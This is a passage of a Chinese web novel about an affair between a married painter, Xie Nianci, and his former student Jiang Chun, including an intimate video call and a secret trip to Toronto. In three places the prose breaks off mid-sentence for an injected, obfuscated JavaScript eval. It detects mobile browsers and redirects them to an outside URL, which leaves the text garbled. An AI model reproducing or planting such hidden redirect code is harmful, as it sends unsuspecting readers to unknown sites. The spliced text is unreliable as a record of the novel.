林承望睁开眼,与他对视,嘴角竟然带着一抹笑意:“我昨晚做了一个很长很长的梦,梦见了我们的学生时代,梦里你在铅笔比划我的脸,说要把我画下来。我还梦到我教你骑马,在B市的一个马术俱乐部,你学了好久,每次去专心喂马吃胡萝卜,却不敢上马多待一会儿……” 谢念慈神情微动:“它们一直向我讨胡萝卜吃,我又不能忍下心拒绝……” 林承望看着他,说:“我们去骑马吧,没有爸妈,也不管小鱼了,就我们两个,马超的旁边还新开了一家滑冰俱乐部,好久没有二人世界了,宝宝,我们去约会吧。” 说着,他牵起了谢念慈的手,摩挲了一会儿,忽然脸色一变,问:“宝宝你的戒指呢?” 你才发现啊。 都三天了。 谢念慈腹诽。 他垂下眼睛,说:“前几天去珠宝店看中了一款戒指,把那个戒指摘下来后忘了戴回来,在家里主卧的床头柜……” 反正你也不在意,不是吗? …… 蒋淳正在临摹双林寺的韦陀菩萨塑像,眼看快到了和医院预约的时间点,便放下画笔,收拾了一下东西,准备出发。 他昨天去医院跟医生说自己要结扎,把那老头下了一大跳,连忙劝他,问他不要传宗接代了?父母怎么说?对象怎么说? 蒋淳淡定说:“我对象已经生过小孩了。” 老头点点头:“哦,不想要二胎啊?不对……那小孩是你的吗?” 蒋淳说:“不是。” 老头倒吸一口凉气:“你对象离异带娃啊!” 蒋淳谦虚一笑:“他还没离婚呢。” 老头愣了好一会儿,才抖着手点开了他的就诊档案,反复确认后,给他安排了体检和手术时间。 出门后,蒋淳听到那老头叹道:“世风日下,人心不古!哪有二十几岁跑过来结扎的?” 但蒋淳已经做好了决定,不会更改。 他提起双肩包出门,迎面走来一个神色复杂的男人,穿着人字拖和西装裤,见到他招了一下手,问:“请问是……蒋淳吗?” 蒋淳礼貌笑笑:“我是,黄总好。” 黄瑞反手梳了一下头发,尴尬道:“你认得我?” 蒋淳说:“黄总是老板,员工怎么可能不认得老板。” 黄瑞讪笑:“也是,也是,那个小蒋啊……我有点事找你。” “黄总请说。” “那个……那个……” 黄瑞抓耳挠腮,脸都憋红了。 而蒋淳却不禁神游天外,数了数时间,现在是多伦多的凌晨,谢念慈在做什么呢?应该在睡觉吧。 “小蒋,我想……和你聊一聊谢教授的事,你看你方便不?” 16.第 16 章 “谢教授怎么了?” 蒋淳不动声色攥紧了背包的带子。 他对黄瑞的印象不深,仅限“资深校友”和“画室老板”,再亲切一点,也就是“谢念慈的朋友兼合作伙伴”,既然此人又是老板又是谢念慈的朋友,他自然态度不会差到哪里去。 不过……为什么突然找他? 黄瑞对他们的关系有所察觉了? 黄瑞尴尬得呵呵直笑,摆摆手,说:“没什么大事、没什么事……哈哈,就是……那个……听画室的人说,你和谢教授关系不错?” 蒋淳笑笑:“谢老师这半年帮了我很多忙,毕设给了我很多建议,前些日子明锐的朱总来找我搞项目,也有谢老师的帮忙。” “哦哦……原来是这样……”黄瑞挠挠头,在原地踱了几步。他犹豫了好几天,甚至偷偷去翻画室的监控,越看心越惊,虽说没什么亲密举动,但在监控下两个人的氛围太奇怪了。他吃也吃不好,睡也睡不好,坐在自家阳台猛猛抽烟,差点被秦雅梦女士赶出家门,遂一咬牙,跑来找蒋淳谈谈。 为什么是蒋淳? 废话,谁质问出轨先去找原主的啊?不都是先警告小三吗? 黄瑞憋了一肚子的气跑来画室,结果一开口,气泄了。谢念慈是那样的人吗?自从他认识谢念慈起,他一直以为这个人会对爱情永远天真下去。 “黄总还有什么事吗?三点我在医院预约了体检。”蒋淳看了看手表,面色不改。 黄瑞闻言一拍大腿:“有事!有事!哎哎,我送你去吧?顺便聊一聊……” 黄瑞开的是迈巴赫S480,引擎的动静醇厚美妙,不需要钥匙,只需要他大喊一声:“启动!”车自己就启动了。 今天不知怎么回事,他喊了好几遍口令,迈巴赫才慢悠悠启动。他不好意思地摸了摸鼻子,转头对蒋淳嘿嘿笑说:“这车今天发癫了。” 蒋淳说:“好车。” 两个人沉默一阵。 黄瑞主动起了话头:“怎么要去体检啊?是入职体检没做还是身体出毛病了?我看小蒋你挺精神的……” 蒋淳说:“准备做个小手术。” 黄瑞顺口问:“什么小手术?” 蒋淳淡淡道:“结扎。” “哦,哦……”黄瑞连连点头,等他意识到蒋淳说了什么,前头正好跳到红灯,连忙一刹车,扭过头眼睛瞪得老大,“结、结……扎?” 蒋淳轻咳一声,看着黄瑞的表现,忽然意识到自己太紧绷了。这人是个标准的富二代,不算草包,但也没精明到哪里去,他随口编了一个理由说:“是,结扎,我是反生育主义者,以后不想生小孩,小孩太麻烦了。” 黄瑞干笑:“这么先锋啊?” 蒋淳也笑,整个人故意放松了下来,对着黄瑞一摊手,说:“开玩笑的,就是一点男科的小检查,多谢黄总关心!” 黄瑞长舒一口气,面上呵呵直笑,心想吓死我了,还以为你是为了更好更安全的当男小三结扎的呢! 蒋淳想,结扎了也能复通,人总要有点梦想,万一谢念慈离婚了呢?不过还是不要再生孩子了,他记得谢念慈说孕期一直在生病。 两个人各怀鬼胎,经过一个又一个红绿灯。 检查很简单,一个抽血一个彩超就结束了,黄瑞一直没走,他坐在医院走廊的椅子上,愁得身上直冒汗,等蒋淳做完检查出来,他又反手梳了梳头发,拦住人,讪笑说:“那个……一起吃个饭?” 蒋淳看着他,说:“黄总,想问什么您就直接问吧。” 黄瑞一愣,喃喃说:“你……你都知道?” 蒋淳歪歪头,装傻说:“知道什么?” 黄瑞实在憋不住了,把人叫去了医院附近的咖啡店,支支吾吾片刻,才吐出一句:“你……是不是对你谢教授有超出师生关系的感情?” 蒋淳搭在大腿上的手紧了紧。 还是被怀疑了。 这件事本来很难藏住……爱一个人的神态、肢体动作和话语是没办法藏的,越藏反而越明显,尤其是谢念慈那样的性格,熟一点的人对他喜怒哀乐一看便知。 “黄总是什么意思?”蒋淳说,“谢教授已经结婚生子了,我再怎么说也是个正常的男人,不可能对老师有非分之想。” 这话说得他自己都差点笑了。 黄瑞说:“我明白,就是……也可能是我的错觉,有几次碰见你们俩个,觉得肢体接触有点过界了……小蒋你也知道,你谢老师的家庭比较特殊,他的老公名气大,如果他传出了一些绯闻,对他、他老公以及他们家公司都不太好……” 蒋淳笑:“黄总的意思是让我离开?” 黄瑞一惊,连忙摆手:“不不不……我没有那个意思,只是想来和你确认一下……也是,我脑子轴了,你谢老师当年和林承望恋爱谈得轰轰烈烈,怎么可能和自己的学生搞到一起?” 怎么不可能呢? 蒋淳冷冷看着眼前的男人。 一切都是自我欺骗罢了。 黄瑞还在继续自言自语:“他……他真的很爱林承望,我们刚认识的时候,我以为他是不怎么爱说话,结果有一天撞见他和林承望手牵手走在一起,笑得很好看很甜蜜……我以前追女孩,他也给我支招,说女孩子在你面前装笨就是说明喜欢你,他……他真的很好,不是吗?” 蒋淳静静听着,很想问再多关于谢念慈的往事,他想知道在黄瑞眼中的谢念慈是什么样的人,那些他没能参与的岁月里,谢念慈又是怎样的模样…… “黄总,时间不早了。”他起身,主动结束了话头,“下次再聊吧。” 黄瑞抹了一把脸,说:“行……不好意思,打扰你了。” “对了。” 蒋淳转过身,面色平静。 “黄总,过几天我会拟一封辞职信,朱总那边发来了新的合作邀请,我打算离开画室。” 离开画室会不会好一点? 毕竟黄瑞已经开始起疑了,他和谢念慈相处得越久,彼此之间的关系也越难遮掩。 黄瑞急忙起身,说:“怎么突然……” 但蒋淳已经推开咖啡店的门走远了,他一个人在店里坐了许久,烟一根接一根地点,突然猛地起身,骂了一句脏话。 狗东西,故意装的! 事出反常必有妖,这个蒋淳冷静得过分,装得像个好人,实则每句话都在打太极!结扎?离职?什么乱七八糟的东西!把他都给搞乱了! 黄瑞快步出门,打了一个电话给医院的朋友,调来蒋淳的档案一看,竟然真的是结扎手术。他被人耍了一遭,气得头疼,可气着气着,又长叹一声,他手上什么实质性的证据也没有,再说了,即便是真的出轨了,他也不能怎么样。 如果谢念慈幸福的话…… …… “大老远从纽约跑来多伦多,就为了找我打斯诺克?”林承望擦了擦球杆,抬眸看了一眼对面的万逸。 万逸撑着球杆,笑嘻嘻说:“在纽约很无聊嘛!我爸天天派人监视我,生怕我想不开又跑去开心理机构骗人,被人盯着的感觉可不好受啊……” 林承望趴下身子,一边对准红球,一边说:“你安分点吧,到时候又被人打得半张脸都肿了……对了,我想问你一件事。” 万逸眨了眨眼:“哦?林总有何吩咐?” 林承望进了球,面色稍稍好了一点,他整理衣襟,扶正袖扣,说:“关于我的婚姻……我妻子突然对我很冷淡,这是怎么一回事?” 啪嗒一声,万逸的球杆掉在了地上。 他差点大笑出声。 还能怎么一回事? 出轨了呗! 但他没有说出口,憋着一肚子的冷笑,故作惊讶问道:“你的妻子对你很冷淡?林总,这不对吧,你不是最爱说自己的妻子如何如何听话和顺从了吗?他那样的好妻子,也会冷淡?你说说发生了什么吧。” 林承望放下球杆,到旁边喝了一口干红。这台斯诺克球桌在他家庄园的酒窖,品酒打球两不误,灯光昏黄,周围是一排又一瓶的酒柜,橡木桶在灯光下发出幽幽的油光。 “儿子出生后,我一直忙于打理公司,家里的事我都放心交给了他。他一直很省心、很听话,对我也很热情,但最近……我感觉他在忽视我。” 林承望皱起眉头。 “毕竟在一起了十几年,彼此之间也没什么可以隐瞒的,尤其是他,在感情这种事上很笨,在想什么一看便知,可我开始看不懂他了。前几天一起去骑马,过二人世界,他总是走神,明明以前不是这样的……甚至在床事上也很冷淡,我试了好几天,他都用困了搪塞过去……万逸,你说这是怎么了?” 被外头的野男人睡服了呗! 万逸心里止不住窃笑。他太喜欢今天发生的事了,林承望后知后觉,终于发现了妻子的不对劲,但很可惜…… 为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197533|196391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时已晚。 万逸有些可怜地看着眼前的男人。 因为自己是私生子,母亲倍受自己的生父和生父原配的折磨,从小到大,他对婚姻这种东西嗤之以鼻。反正是用来稳定社会的工具,男男女女在其中挣扎、痛苦,他就在围城的外面俯瞰风景,甚至在想……男人出轨轻而易举获得原谅,女人呢?于是他开始介入别人的婚姻,怂恿妻子们出轨,最后美美欣赏一场婚姻的崩塌。 尤其是这种存在过所谓的爱情的婚姻。 万逸简直要兴奋过头了。 就是这个表情,老同学,就是你这个茫然的、可悲的表情,在你自以为掌控了妻子的时候,你的妻子正在和人颠鸾倒凤呢! 谢念慈…… 他想起那位看似柔顺的妻子,忍不住恶毒地猜测这个时候的谢念慈,是不是正在和情夫煲电话粥,说着甜美的情话,露出温情的微笑……而他的丈夫在问为什么妻子那么冷淡! …… “蒋淳,你在干什么呢?” 谢念慈用头和肩膀夹着手机,抹开手心的护肤品,一边抹脸,一边问手机里的男人。现在是多伦多的晚上九点,而B市正是上午十点。 电话那头的男人声音沙哑,说:“嗯……刚睡醒。” “睡懒觉啊?”谢念慈说。 “在我这里睡到下午才算睡懒觉。” “今天是周三,你不去画室吗?” 蒋淳看着天花板,在床上翻了一个身,前天手术留下的小伤口还在隐隐作痛,他轻声说:“有点发烧,请假了。” 辞职了。 下一周去朱耀群那里报道。 哐当一声,谢念慈似乎摔了什么东西,手忙脚乱地收拾,一边收拾一边嗔怪道:“怎么生病了?你不是答应过我要照顾好自己的吗……这面霜泼得到处都是……你好一点了吗?要去医院吗?” 蒋淳贪婪听着对面的动静,几乎能想象到谢念慈说这话的表情,一定微微睁大眼睛,眉头紧皱,嘴巴紧紧抿着,看起来似嗔似怒。他安抚说:“已经不烧了,药也吃了。” 谢念慈说:“吓死我了!”过了一会儿,他又抱怨说,“这个面霜弄得到处都是!都怪你生病了。” 说完,还发了一张照片。 蒋淳点开一看,是谢念慈的手…… 身体泛着淡淡粉色的谢念慈总有着别样的风情。可惜他才结扎了没几天,伤口还疼着,也不知道能不能应起来。 “蒋淳,蒋淳?” 他听到谢念慈轻声唤自己。 “嗯?” “我好像发了不好的照片……” “……”蒋淳叹了一口气,他还是应了。 谢念慈的语气很可怜,说:“你能继续用这个沙哑的声音说话吗?我好想你,特别想你,你的声音一响起来,我就……” “?” “……你要看吗?” 蒋淳理智尚存,连忙说:“别这样,小心炸号……” 谢念慈轻轻笑:“吓唬你呢。” 蒋淳无奈,在床上翻了个身,打算冷静冷静,他岔开话题,说:“八月中旬了,老师,你什么时候回来?” 谢念慈说:“九月三号。” “还有半个多月……” 真漫长。 漫长到只能靠着记忆中的彼此安慰自己。 蒋淳忽然听到对面传来细微的嗡鸣。 以及某种黏腻的声音。 “蒋淳……” 谢念慈呼唤他的名字。 “嗯,我在。”蒋淳握紧了手机,“你那边什么东西在响?” 谢念慈躺在床上,他颤抖着睫毛,听着略微失真的蒋淳的声音,小小声说:“按/摩/棒。” 蒋淳沉默了一会儿,说:“……” 谢念慈说:“蒋淳,我好想你……” “老师在想我吗?” “嗯……” “在想我的什么?” 谢念慈浑身颤抖不止。 而蒋淳还在低声哄诱他:“……是不是?” 啪嗒一声,谢念慈挂了电话。 蒋淳一愣。 旋即,一个视频通话请求跳了出来。 他深吸一口气,点开,看见了谢念慈的脸。 一半埋在枕头里,另一半泛着绯红,眉头微蹙,眼睛里朦胧一片,正张着嘴,吐出嫣红的舌头喘个不停:“嗯……在想蒋淳的……” 17.第 17 章 手机烫得吓人。 蒋淳手心里出了一层汗,滑腻腻的,险些握不住手机,他看着屏幕里的谢念慈,看着开开合合的、正在吐气的红唇,隔着万里,仿佛能感受到丝丝缕缕的热气,混着谢念慈常用的面霜的馥郁香气。 “老师想要蒋淳的哪个东西?” 他轻声说。 信号不知周转了几颗卫星,谢念慈的脸和声音都有些失真,像是十几年的电影,蒙了一层毛玻璃一般的滤镜。谢念慈高潮过了,瞳孔有些涣散,喃喃说:“想要蒋淳的……”那三个字他说得极小声,几乎让人听不清楚。 说完,他扯过一旁的被子,把自己的脸蒙住了。 蒋淳忍不住笑了一声。 “不许笑!”谢念慈又掀开被子,满脸通红,“得了便宜还卖乖,蒋淳,你怎么这么讨厌?” 蒋淳笑:“那还继续吗?” 谢念慈问:“继续什么?” 蒋淳说:“老师讨厌我,那我还能继续给老师打电话、发消息吗?能再亲一亲老师吗?能再见一面老师吗?” 这人究竟想怎样? 电话另一头的谢念慈哑口无言。他就是容易心软,可能也是因为蒋淳比自己小太多,在他眼里有时候像个弟弟,尤其是服软装无辜的时候,明明知道此人心机深重,但他就是忍不住…… “蒋淳,你再这样我挂电话了。” 无话可说,谢念慈只好佯装生气。 “真的挂了?” “……” “老师?” “你还想看什么?” “……”这回轮到蒋淳哑口无言。 ……………… “老师。”蒋淳看着屏幕里满脸潮红的谢念慈,“晚安吧。快去收拾一下自己,被发现了可不好。” 谢念慈勉强被刚才的紫薇抚平了躁动的心,但旋即腾起的是更难以填补的欲/望。他的理智扯住了他,说:“好,晚安,蒋淳,你要好好养病,不许再生病了。” 说完,凑近屏幕,轻轻亲了一下。 即便相隔万里,蒋淳也似乎感觉自己的脸颊被吻了一下,每次做完临睡前,谢念慈要是还有力气,便会抱住他轻轻亲一口,羽毛一样轻飘飘的,温热的吐息扫过他的脸颊,黑夜沸腾过后,终究归于漫长的安宁。 他也亲了一下谢念慈,然后挂了电话。 又躺了半个小时,他起身去客厅倒水喝。没有谢念慈的不断刺激,他躁动的身体也渐渐沉寂下来,伤口又开始隐隐作痛。窗外正是艳阳天,四十摄氏度,热得不可思议,而多伦多今日也不过二十几度。 打开手机,一大堆消息。 学生们问他为什么不干了,简直是在哭丧,画室里的老师大多尖酸刻薄,逮着错误劈头盖脸就是一顿骂,蒋淳好说话又能解决事情,十几岁的小孩最亲近他。他给这些学生拉了一个群,说,有任何绘画上的问题都可以在这里问他,他以后也会常常回画室看望他们的。 接着是朱耀群的消息。 朱耀群问他对林氏的项目是否感兴趣,林氏在G市的那个城市综合体需要艺术装置,年底竞标,大几千万的项目,朱耀群想让自己设计公司的团队拿下。 林氏…… 蒋淳:【多谢朱总提拔。】 蒋淳:【我很有兴趣[微笑]】 正发着消息,一条短信跳了出来。 加拿大签证已通过。 蒋淳手一顿。 这是他上一周忙着辞职时随手填的,申请的是旅游签,最近国际形势不好,他也没指望能过签,只是填来试一试,没想到竟然过了。 蒋淳开始头疼。 去,不去…… 他很想很想谢念慈。 如果去了,见谢念慈,会不会被发现? 可是不去……他莫名其妙过签了,一定是命运使然,引导着他前往谢念慈所在的国家。 只是去“旅游”呢? 瞒着谢念慈,偷偷在多伦多待个几天,和他呼吸同一个地方的空气,去他发过的咖啡店坐上一坐,说不定能在茫茫人海中看他一眼…… 但他瞒着谢念慈的事情已经够多了,辞职、结扎、再加上偷偷去多伦多,不敢想谢念慈知道了有多生气,要哄多久…… 去吗? …… 完事后谢念慈快速冲了一个澡,出来时假装自己喝水泼了床单,摇铃请家政前来更换。林家在多伦多的庄园有些年头了,是从某大导演手里花上亿美金拍下的,巴洛克风格,坐落在山间的蓝白建筑,离市区有一段距离。 林高格其实蛮推崇欧美的生活方式,但内核依旧逃不开中式父子夫妻儿女的那一套,有点像套着法餐创新的幌子里面装的是中药,想移民,但国内推崇民族企业家,保持国籍对股票更好,便只是办了绿卡。 林承望大概晚上十一点回到卧室。 手里捧了一束玫瑰花。 一进来,对他笑了笑,张开双臂说:“宝宝,来抱一下老公。” 谢念慈默默扯过被子。 他问:“怎么这么晚才回来?” 林承望说:“和朋友打斯诺克呢,宝宝感兴趣吗?明天我也带你一起,好不好?” 谢念慈心说不好,坐起了身,看向那束热烈的玫瑰,顿时有些头痛:“大晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210440|196391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的送花做什么?” 林承望一边脱西装,一边说:“之前忙着G市的那块地,没能陪宝宝,今年接下来几个月没什么事了,宝宝想做什么我都陪着。” 不要你陪。 谢念慈脑海里浮现出七月的草原,夕阳余晖轻柔散在大地上,他和蒋淳背着画板走向路特斯,摘了很多野花,两个人蹲了一个下午精挑细选出来的,夹在画板里,随着走路时的动作摇曳。 谢念慈承认自己一直活在青春期,至少对爱情是这样的,他想要毫无保留的爱,而不是长大了忙起来了就要把爱往后挪。 “嗯。”谢念慈闭上眼睛。 “阿慈……”林承望坐在他的床边,“我们再生一个孩子吧,这次生个女孩好不好?一定和你一样漂亮温柔。” 不要和你生。 丈夫说一句,谢念慈就默默反驳一句。 他对林承望的耐心所剩无几。 几乎是下意识的,他语带委屈说:“那你过去一年又是怎么一回事?我也想生,可你总是说忙,没心情……林承望,你要是阳痿了你就说出来,我不会告诉爸妈的,别死要面子活受罪,有病就治!” 林承望呆住了。 “……阳痿?” 谢念慈把自己整个裹进被子里,给丈夫留下一个拒绝沟通的背影,反正在林承望眼里他就是一个很笨的、只会提供情绪价值的妻子,现在他不想演了,几乎能猜到林承望下一句会说什么——有话好好说,不要吵架嘛。 “宝宝,好好说话,不要吵架。” 谢念慈冷笑一声。 就要吵架,不吵架不提出自己的诉求怎么过日子呢?他也是人,也有脾气,凭什么要压抑自己的不满? 这一遭把林承望气得够呛,在床前烦躁地走来走去,最后长叹一声,转身去卫生间了,走到一半又折回来,低声说:“妈一直想要的那款爱O仕包有货了,我让人给你们一人配了一个,明后天陪妈去看看,不喜欢再换。” 谢念慈照例装睡。 不想沟通,拒绝沟通。 和林承望这种人完全是对牛弹琴! 他生气地入睡,又生气醒来,和林承望进入了冷战模式,谁也不搭理谁。但他最近和骆秀的关系不错,婆媳二人常常一起去逛街。 逛了两天的街,他趁骆秀和老朋友叙旧,坐在一旁偷偷和蒋淳发消息。 谢念慈:【醒着吗?】 蒋淳:【没睡呢。】 谢念慈:【快去睡觉。】 蒋淳背着包站在加拿大国家通讯塔前,仰望多伦多下午的蓝天。 蒋淳:【好,马上睡觉。】 18.第 18 章 在多伦多的日子平淡而枯燥。 谢念慈习惯早上先陪家人吃饭,八九点的时候散步去马场,给他的马喂草。林高格爱马如命,不仅常常飞去港岛观赛马,还重金购入了许多名种马,在B市和多伦多均有规模不小的收藏。谢念慈的马是温血马,性格温顺,有一身油亮的枣红色皮毛,鬃毛编成了一排麻花辫,名叫卢兹,会载着谢念慈在围栏里缓缓散步。 谢念慈一直觉得马的眼睛很漂亮,乌黑清澈,脾气好的马的眼睛甚至有一点呆和忧郁。他给卢兹换了草料,站在围栏前看卢兹吃草,晨风一吹,他禁不住打了一个喷嚏。 昨夜空调打得太低,他又习惯性踢被子,着了凉,恐怕有点感冒了。 他打喷嚏,卢兹也打了一个响鼻,马蹄不停地刨地,头颅上下摆动,是要人摸了。谢念慈只好伸出一只手,轻轻抚摸他的小马,又捏了捏马的鼻子,很软,像是黑芝麻大福的手感。他的儿子也有自己的小马驹,是卢兹今年春天生下的孩子,在一旁咬着自己的玩具熊蹦蹦跳跳。 夏季的多伦多均温二十多度,早上还要穿一件薄外套,他头有些晕,掏出手机,切换小号,给蒋淳发了一张卢兹吃草的照片。 谢念慈:【准备睡觉了吗?】 蒋淳坐在咖啡馆里,落地窗外的高楼大厦仿佛是巨象的腿,簇拥着中心的加拿大国家电视塔,人与车在象群中穿梭。电视塔顶天立地,在明亮的晨光之中,像是在接受外星人的信号。他翻着消息,朱耀群问他去哪儿了,黄瑞问他是不是在加拿大,谢念慈问他睡了吗…… 蒋淳:【马上。】 消息刚发出去,一个视频电话就打了过来。 蒋淳差一点把手机摔了。 上午九点的咖啡馆人满为患,谈工作的,对着笔记本敲敲打打的,还有服务员的叮嘱……接了电话,他就暴露了。 说来也很幼稚,两个人隔着十三个小时的时差,谢念慈醒着,他睡觉,他睡着了,谢念慈要睡觉。每天早上谢念慈要去喂马,身边没有任何人,两个人隔着手机不说话,蒋淳会闭上眼睛,缓缓入睡,让谢念慈听着自己的呼吸声,而自己听着大洋彼岸的鸟鸣雨声,以及谢念慈清浅的吐息…… 挂掉,把杯中的咖啡一口闷了,提包出门,装作若无其事重新打过去,打的是语音通话。蒋淳抢着谢念慈说话之前说:“刚刚在洗澡。” 谢念慈的声音有些闷:“洗澡为什么不能视频通话?” 蒋淳正要编造借口,不远处一辆有轨电车缓缓驶过来,叮叮当当地响,路上的车都要等它,有的车主脾气爆,不小心按了一声喇叭。 喇叭声短促尖锐,吓得广场上的鸽子乱飞,扑棱扑棱,蒋淳吐出一口气,抬头望天,鸽子飞翔的剪影在他脸上一闪而过。 电话那头沉默了一会儿。 “你在大街上洗澡吗?” “是,咳,不是……”蒋淳忽然觉得瞒不下去了,一听到谢念慈的声音,他就想见他,尤其是他们就在同一个城市,安大略湖畔的多伦多,今天的天气很好,湖波荡漾,如果谢念慈站在他的面前,头发会被太阳染上淡淡的金色。 “蒋淳,说实话。” 谢念慈轻轻摩挲着马场的白色围栏。马出来放风了,脾气好的被关在一起,性子刚烈的马则有自己的专属马场,它们吃草,刨土,在清晨下过雨后湿润的泥地上打滚,工作人员抱着猫,放在马的背上,一切都是柔软而惬意的。 除了那样熟悉的铃声。 B市也有类似的有轨电车,但启动的声音、过路的铃声和多伦多的不尽相同,谢念慈这五年的夏天基本待在多伦多,没事的时候就开着跑车逛街。他是专攻风景的画家,尤其擅长描绘城市景象,多伦多的建筑、有轨电车、色彩、人群、鸽子、乌鸦、猫狗、蓝天……甚至包括声音和气味,在他的脑海早就扎了根。 真是很奇怪,一听对面的动静,他就不可避免地猜测,蒋淳是不是在多伦多。他竟希望蒋淳在多伦多。 “老师生病了?听着有些鼻音。”蒋淳说。 “被你气哭的。” 蒋淳叹了一口气,抬起手拨弄了一下额发,走到广场的公共长椅坐下,说:“如果我说我在多伦多,老师你信不信?” “……你来多伦多干什么?” “嗯……因为很想你。” 对面的人把电话挂了。 蒋淳当即十分的抱歉,一声不吭地来,按照原计划一声不吭地走,他来过却不告诉谢念慈,是个人都会不开心的吧?他似乎犯了一个很严重的错,全然沉浸在自己的爱恋之中,却忘了良好的爱情需要互动,而不是一厢情愿。 这样的感情不好玩,不长久,甚至算不上深情。 他组织了一下语言,再一次拨通电话。 嘟了几声,对面的人挂断了。 蒋淳顿时急了,在原地踱步,没有再打电话,只是打字,或者尝试发语音,说对不起,但对不起真的有用吗? 他正翻来覆去改着说辞,谢念慈打来了电话。 “你在哪?” 蒋淳听到引擎启动的声响。 他看了看附近的指示牌,一时半会说不清,情急之下,说:“你来我住的酒店吧,我把地址发给你。” 顿了一下,蒋淳又说:“你……开慢点,等会儿我还要告诉你几件事……” …… 谢念慈在B市要上班,开跑车太张扬,虽说美院里的少爷小姐一大堆,但作为教育工作者,实在不便,故而选了路特斯。到了多伦多,自然是怎么舒服怎么来了。二十岁时和林承望周游欧洲,两个人换着开车,他开车又快又稳,等有了有了儿子,开车不再快了,只剩下稳。 他已经很久很久没有开过快车了。 天蓝色涂装的阿斯顿马丁DB12,敞篷跑车,他只套了一件薄款风衣,在公路上飞驰。那座CN塔在不远处高耸,在阳光下折射出银光,就像是神话中的通天塔一般。诺亚的后裔举起铁锤,建造通天的巨塔,人们朝拜它,追逐它,建设它,却败于上帝的惩罚,人与人之间语言不通,心与心无法贴近,于是□□塌了。 其实哪怕说着同样的语言,人还是不能互相理解。你说抱一下我吧,他说给你买了爱O仕的夜房子,六位数呢,看,我爱你吧。 梦里的他和蒋淳总是聊着聊着开始使用外星语,叽里咕噜一大堆,手脚并用,就算语言不通他们也聊得很开心。 真正说外星语的另有他人。 终于驶入了市区,谢念慈踩住刹车,身子一颤,把车停在了路边,打开手机。 蒋淳给他发了酒店地址。 不知道是因为在太阳底下,还是他有点感冒,头疼,耳鸣,呼出的都是热气。他看了一眼后视镜里的自己,整张脸都是红的,额角冒着细汗。 怎么就来多伦多了? 谁允许的?! 谢念慈搞不清自己的心情,他的心脏剧烈跳动,明明应该生气的,到了酒店非说一顿不可,但更多的,是某种微妙的、粘稠的……像厨房里装蜂蜜的罐子,晶莹剔透,一打开,他嗅见自己的心脏流出蜜糖的香气。 买一张飞机票千里迢迢只为见他,这件事不止蒋淳一个人做过,但不一样,份量不一样。林承望那么有钱,从小到大全世界到处跑,横跨大洋的机票对这个人而言不算什么,但蒋淳不一样。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223717|196391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谢念慈闭上眼睛,呼出一口气,旋即再一次发动引擎。 他一定要揪住蒋淳的领口,狠狠骂他。 …… 蒋淳发完地址后,迅速回到了暂住的酒店。 就在市中心,不是什么国际连锁酒店,民居改造而成,隔音效果一般,昨夜他准备入睡时,隔壁房的情侣正在激情大战,吵得他差点没睡着。 该怎么说? 老师,对不起。 我不应该自作主张来多伦多,麻烦你了。 对了,我做完了结扎手术。 还有,我辞职了。 感觉这样说一定全完了。 蒋淳狠狠拍了一下脑门,烦躁得不行,在床前走来走去。过了几分钟,有人敲门,他几乎屏住了呼吸,抓了几下头发,小心翼翼开了门。 “老师……” “Excuse me?” 是位高挑的白女,一个小麦色皮肤的男人搂着她,两个人一齐对着蒋淳充满歉意的微笑。 是隔壁房的情侣。 两个人向蒋淳道歉,问他昨晚是不是没睡好,还很自来熟地推荐了多伦多的几个酒吧,大概是觉得蒋淳独身一人很可怜,还要被迫听他们的墙角。 蒋淳和情侣二人掰扯了片刻,终于把人打发走了。他在门口站了片刻,死死盯着不远处的楼梯口,等待一个人的脚步声。 没有。 他想,应该有点事吧?正准备关上门,余光一扫,穿着米色薄风衣的谢念慈恰恰好从楼梯口现身,散着头发,戴着墨镜,背着一个蓝黑色的房子包,与他遥遥对视。 “蒋淳。” 谢念慈叫他的名字。 大步上前。 蒋淳听见鞋跟敲击地板的声音,谢念慈走得又快又急,身上的钥匙和纽扣撞在一起,叮当作响。他看见谢念慈摘下了墨镜,脸上呈现出一种病态的不自然的红,像是喝醉了酒,身上却无一丝酒气,有的只是淡淡的香水味,而那双眼睛是湿润的。 白人饭一定很难吃吧,他感觉谢念慈瘦了,哪怕彼此才近一个月没见,穿着单薄的风衣,像一片纸。 “老师我……” 眼看人就要走到自己的面前,蒋淳下意识开口说话,谁料谢念慈一抬手,直接揪住了他的衣领! 天晓得谢念慈哪里来的力气,把蒋淳扯得直弯腰。蒋淳以为谢念慈要揍自己,比如打一巴掌,这是很好接受的,毕竟他做错了事,但…… 